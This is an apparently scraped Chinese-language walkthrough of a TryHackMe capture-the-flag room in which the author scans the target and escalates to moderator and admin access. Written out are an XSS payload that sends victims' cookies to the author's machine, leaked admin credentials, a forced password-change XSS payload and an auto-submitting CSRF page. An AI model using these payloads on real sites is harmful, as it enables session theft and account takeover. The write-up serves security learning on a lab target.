当前位置: 首页 > news >正文

THM Whats Your Name WP

信息收集

[2025-08-28 21:41:30] [SUCCESS] 端口开放 10.10.208.188:80[2025-08-28 21:41:30] [SUCCESS] 端口开放 10.10.208.188:22[2025-08-28 21:41:31] [SUCCESS] 端口开放 10.10.208.188:8081[2025-08-28 21:41:31] [SUCCESS] 服务识别 10.10.208.188:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.3 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3.][2025-08-28 21:41:36] [SUCCESS] 服务识别 10.10.208.188:80 => [http][2025-08-28 21:41:36] [SUCCESS] 服务识别 10.10.208.188:8081 => [http][2025-08-28 21:41:36] [INFO] 存活端口数量: 3[2025-08-28 21:41:36] [INFO] 开始漏洞扫描[2025-08-28 21:41:36] [INFO] 加载的插件: ssh, webpoc, webtitle[2025-08-28 21:41:37] [SUCCESS] 网站标题 http://10.10.208.188      状态码:200 长度:70     标题:无标题[2025-08-28 21:41:38] [SUCCESS] 网站标题 http://10.10.208.188:8081 状态码:200 长度:70     标题:无标题

添加映射关系

10.10.208.188 worldwap.thm

进去80端口注册一个用户后

继续添加

10.10.208.188 login.worldwap.thm

版主flag

再访问之后看一下返回包,提示访问login.php

我们在这里可以发现

访问后返回了一个cookie,而且没有设置http-only属性,这就可能造成cookie窃取,我们在注册页面测试一下,然后把之前的cookie删除后访问login.php

成功返回,那就把cookie给拿过来

<script>fetch('http://10.11.133.25/?'+btoa(document.cookie));</script>

进行base64解码即可拿到对应cookie,我们再次访问http://worldwap.thm/public/html/会被重定向到http://worldwap.thm/public/html/dashboard.php,同时访问http://login.worldwap.thm/login.php会被重定向到http://login.worldwap.thm/profile.php

至此拿到了第一个flag

管理面板flag

非预期

呃,有非预期,那就是扫目录发现了

[21:51:44] 200 -    5KB - /admin.py[21:52:05] 200 -  639B  - /assets/[21:52:05] 301 -  325B  - /assets  ->  http://login.worldwap.thm/assets/[21:52:14] 302 -    0B  - /chat.php  ->  login.php[21:52:23] 200 -    0B  - /db.php[21:52:47] 301 -  329B  - /javascript  ->  http://login.worldwap.thm/javascript/[21:52:53] 200 -  960B  - /login.php[21:52:54] 302 -    0B  - /logout.php  ->  login.php[21:52:54] 200 -    0B  - /logs.txt[21:53:12] 301 -  329B  - /phpmyadmin  ->  http://login.worldwap.thm/phpmyadmin/[21:53:15] 200 -    3KB - /phpmyadmin/doc/html/index.html[21:53:17] 200 -    3KB - /phpmyadmin/[21:53:17] 200 -    3KB - /phpmyadmin/index.php[21:53:20] 302 -    0B  - /profile.php  ->  login.php[21:53:28] 403 -  283B  - /server-status[21:53:28] 403 -  283B  - /server-status/[21:53:30] 200 -   96B  - /setup.php

admin.py里面有账号密码

# Admin credentials (for demonstration purposes)username = 'admin'password = 'Un6u3$$4Bl3!!'

直接登录了

XSS

<script>alert(1)</script>

成功弹窗,现在可以说有两个思路,一个拿cookie,一个改密码

因为在改密码界面发现请求包是

POST /change_password.php HTTP/1.1Host: login.worldwap.thmCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6779.57 Safari/537.36sec-ch-ua-mobile: ?0Accept-Language: zh-CN,zh;q=0.9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://login.worldwap.thm/change_password.phpOrigin: http://login.worldwap.thmCookie: PHPSESSID=7mm8j1r8iouk3n4c4sm18cp8kssec-ch-ua-platform: "Linux"Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="134", "Google Chrome";v="134"Content-Length: 19​new_password=123456

直接强制让其改密,可以XSS,也可以CSRF实现

<script>fetch('/change_password.php',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:"new_password=123456"});</script>

CSRF

csrf更简单,给他发送链接就行了,poc都可以一键生成,当然需要稍加修改,这个生成的不能自动发送,让ai改一下就行

http://10.11.133.25/csrf.html​<html><body><form action="http://login.worldwap.thm/change_password.php" method="POST" name="form1" enctype="application/x-www-form-urlencoded"><input type="hidden" name="new_password" value="123456"/><input type="submit" value="Submit request" /></form><script>document.forms['form1'].submit();history.pushState('', '', '/');</script></body></html>

成功点击访问,修改密码成功

http://www.dtcms.com/a/355525.html

相关文章:

  • QT .pro文件的常见用法
  • 与trae携手,构建owtb一体化物流平台之--需求文档V0.3
  • RTL8198E SDK温控机制
  • 家电公司跨界造车,追觅能否造出“电动时代的布加迪”
  • 【架构师干货】软件工程
  • 从卡顿到丝滑:大型前端项目 CSS 优化全攻略
  • Agent实战教程:Langgraph的StateGraph以及State怎么用
  • 如何安装InfluxDB 1.7.0 Windows版(influxdb-1.7.0_windows_amd64.exe使用方法附安装包下载)​
  • 群晖 DS225+ 和绿联 DXP2800:企业文件备份方案对比
  • 仿生纺织飞行模块专利拆解:螺旋旋转结构的空气动力学与升力产生机制
  • curl打印信息实现
  • 如何将yolo训练图像数据库的某个分类的图像取出来
  • Step-by-Step: 接入淘宝商品详情 API 并解析返回数据
  • 无人机+AI光伏热斑检测技术
  • 大模型训练中对SFT和DPO的魔改——PROXIMAL SUPERVISED FINE-TUNING和Semi-online DPO论文阅读笔记
  • 锁的种类都有什么
  • Vue3 + Rsbuild 完全指南:10倍构建速度的现代前端开发方案
  • 解锁AI“黑匣”:监督、无监督与强化学习探秘
  • 某供应链金融公司多场景敏感数据安全保护实践
  • AI智能金融风控新实践:从信贷秒批到支付防护,筑牢金融安全新屏障
  • 实战经验-无mac电脑上传ipa到appstore构建版本
  • 图论好题推荐-逛公园
  • 【论文阅读】多功能肌电控制的新策略
  • Magnet Pro Macbook窗口分屏管理(Mac窗口分屏)
  • 安宝特方案丨AR异地专家远程支持平台,适合:机电运维、应急处置、监造验收
  • 光谱相机在雾霾监测中有何优势?
  • 测试题ansible临时命令模块
  • 自己定义的模型如何用hf的from_pretrained
  • Vue开发避坑:箭头函数与普通函数的正确使用指南
  • R 语言 eulerr 包绘制韦恩图:比例精准